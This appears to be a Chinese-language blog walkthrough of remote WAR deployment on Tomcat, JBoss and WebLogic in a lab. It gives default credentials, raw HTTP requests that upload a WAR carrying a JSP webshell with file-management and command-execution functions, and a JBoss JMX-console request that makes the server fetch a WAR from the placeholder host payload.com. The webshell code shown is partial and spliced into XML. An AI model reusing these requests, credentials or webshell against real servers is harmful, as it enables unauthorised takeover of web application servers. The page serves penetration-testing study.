三种远程部署war包检测

简介

远程部署漏洞属于服务器、中间件配置问题,攻击者可通过远程部署漏洞获取系统权限,远程部署漏洞经常出现在Tomcat、Jboss、Weblogic等web容器之上。

tomcat部署war包

http://192.168.52.128:8080/manager/html

tomcat/tomcat

POST /manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1 HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:8080/manager/html
Cookie: JSESSIONID=A0F8351E37AA865DDFC5EC921BFB4F9A
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32062524929426
Content-Length: 31723

-----------------------------32062524929426
Content-Disposition: form-data; name="deployWar"; filename="test3693.war"
Content-Type: application/octet-stream

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
	 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
	 version="2.4">
    <session-config>
        <session-timeout>
            30
        </session-timeout>
    </session-config>
    <welcome-file-list>
	<welcome-file>
            index.jsp
        </welcome-file>
    </welcome-file-list>
</web-app>

%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>

String formatPath(String p)
{
	StringBuffer sb=new StringBuffer();
	for (int i = 0; i < p.length(); i++) 
	{
		if(p.charAt(i)=='\\')
		{
			sb.append("\\\\");
		}
		else
		{
			sb.append(p.charAt(i));
		}
	}
	return sb.toString();
}

	/**
	 * Converts some important chars (int) to the corresponding html string
	 */
	static String conv2Html(int i) {
		if (i == '&') return "&amp;";
		else if (i == '<') return "&lt;";
		else if (i == '>') return "&gt;";
		else if (i == '"') return "&quot;";
		else return "" + (char) i;
	}

	/**
	 * Converts a normal string to a html conform string
	 */
	static String htmlEncode(String st) {
		StringBuffer buf = new StringBuffer();
		for (int i = 0; i < st.length(); i++) {
			buf.append(conv2Html(st.charAt(i)));
		}
		return buf.toString();
	}
 
-----------------------------32062524929426--

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=19B04531B519E953AAD3E2200F9F3D84; Path=/manager; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Mon, 22 Feb 2021 05:02:48 GMT
Connection: close
Content-Length: 19860

<html>
<head>
<style>

<body bgcolor="#FFFFFF">

<table cellspacing="4" border="0">
 <tr>
  <td colspan="2">
   <a href="http://tomcat.apache.org/">
    <img border="0" alt="The Tomcat Servlet/JSP Container"
         align="left" src="/manager/images/tomcat.gif">
   </a>
   <a href="http://www.apache.org/">
    <img border="0" alt="The Apache Software Foundation" align="right"
         src="/manager/images/asf-logo.svg" style="width: 266px; height: 83px;">
   </a>
  </td>
 </tr>
</table>
<hr size="1" noshade="noshade">
<table cellspacing="4" border="0">
 <tr>
  <td class="page-title" bordercolor="#000000" align="left" nowrap>
   <font size="+2">Tomcat Web Application Manager</font>
  </td>
 </tr>
</table>
<br>

http://192.168.52.128:8080/manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1

点击刚刚创建的文件夹

成功部署响应如下:

FAIL - War file "test3693.war" already exists on server

http://192.168.52.128:8080/test3693/

Jboss远程部署war包

http://192.168.52.128

http://192.168.52.128/jmx-console/

http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

POST /jmx-console/HtmlAdaptor HTTP/1.1
Host: 192.168.52.120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://192.168.52.128
Connection: close
Referer: http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
Cookie: PHPSESSID=ft4551u5ag2pu53sf5n4mgfqr0; immortal_png=undefined; immortal_etag=undefined; immortal_cache=undefined; md=nilihQQQmUvSPuXD1pm61Hk6EMV3222QLOzt4QJQaE8qzwt0lfxNnhjruFVW7odj; JSESSIONID=678AC48E10C635F07B63DEBEAE69ECD6
Upgrade-Insecure-Requests: 1

action=invokeOp&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodIndex=7&arg0=http%3A%2F%2Fpayload.com%2Ftest.war

weblogic部署war包

http://192.168.52.128:7001/console/login/LoginForm.jsp

weblogic:Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

GET /console/login/LoginForm.jsp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/login/LoginForm.jsp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951
Connection: close
Cache-Control: max-age=0
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Mon, 22 Feb 2021 05:56:57 GMT
Pragma: no-cache
Content-Length: 3162
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" >
<title>Oracle WebLogic Server Administration Console</title>
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css" >
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css" >
<link rel="stylesheet" type="text/css" href="/console/css/login.css" >

<script type="text/javascript">
  // Disable frame hijacking  
  if (top != self) top.location.href = location.href;
</script>

<style type="text/css">
html {
    background-color: #185E87;
}
</style>
</head>
<body onload="document.loginData.j_username.focus();">
  <div id="top">
    <div id="login-header">
      <div id="logo">
        
        <img src="/console/framework/skins/wlsconsole/images/Branding_Login_WeblogicConsole.gif" alt="Oracle WebLogic Server Administration Console ">
      </div>
    </div>
    <div id="content">
      <div id="sidebar">
        <img src="/console/framework/skins/wlsconsole/images/Login_11gLogo1.gif" alt="">
      </div>
      <div id="login">
        <div id="title">
          Welcome
        </div>
        <div id="login-form">

    <form id="loginData" name="loginData" method="post" action="/console/j_security_check">
      <div class="message-row">
        <noscript><p class="loginFailed">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</p></noscript>
        
        
        
          <p>Log in to work with the WebLogic Server domain</p>
        
        
      </div>
      <div class="input-row">
        <label for="j_username">
        Username:</label>
        <span class="ctrl">
          <input class="textinput" type="text" autocomplete="on" name="j_username" id="j_username">
        </span>
      </div>
      <div class="input-row">
        <label for="j_password">
          Password:</label>
        <span class="ctrl">
          <input class="textinput" type="password" autocomplete="on" name="j_password" id="j_password">
        </span>
      </div>
      <div class="button-row">
        <span class="ctrl">
          <input class="formButton" type="submit" 
            onclick="form.submit();this.disabled=true;document.body.style.cursor = 'wait'; this.className='formButton-disabled';"
            value='Login'>
        </span>
        <input type="hidden" name="j_character_encoding" value="UTF-8">
      </div>
    </form>
        </div>
      </div>
    </div>
    <div id="info">
    </div>
  </div>

  <div class="login-footer">
    <div class="info">
      
      <p id="footerVersion">WebLogic Server Version: 10.3.6.0</p>
      <p id="copyright">Copyright &copy; 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p>
      <p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p>
    </div>
  </div>
</body>
</html>

登录成功后调整到如下地址:

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1

后台上传webshell

获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:

点击部署的数据包如下:

GET /console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:08:41 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 43772

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Summary of Deployments - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window  "><div class="wlsc-window-content">

点击安装,选择“上载文件”:

选择需要上载的本地war包

上传的数据包

POST /console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/selectUploadApp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8434166712903
Content-Length: 32108

-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test3693.war"
Content-Type: application/octet-stream


<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
	 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
	 version="2.4">
    <session-config>
        <session-timeout>
            30
        </session-timeout>
    </session-config>
    <welcome-file-list>
	<welcome-file>
            index.jsp
        </welcome-file>
    </welcome-file-list>
</web-app>

%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存","Save"};

-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadPlanPath"; filename=""
Content-Type: application/octet-stream


-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletfrsc"

0x062430ecab863931868d682e81a64437e4490c23def60129
-----------------------------8434166712903--
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:20:53 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 37476

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Install Application Assistant - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window  "><div class="wlsc-window-content">

后面基本就是一路Next,详细的操作参考:https://www.cnblogs.com/DFX339/p/8515200.html

部署完成

开始配置系统环境

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=CoreServerServerTablePage

选择协议,然后选择HTTP

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=ServerProtocolsTabhttpTabPage&handle=com.bea.console.handles.JMXHandle("com.bea%3AName%3DAdminServer%2CType%3DServer")

再次点击部署(Deployments)

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage

然后就可以访问项目了 http://IP:PORT/ProjectName

http://192.168.52.128:7001/test3693/

posted @ 2021-02-22 16:55  micr067  阅读(182)  评论(0编辑  收藏  举报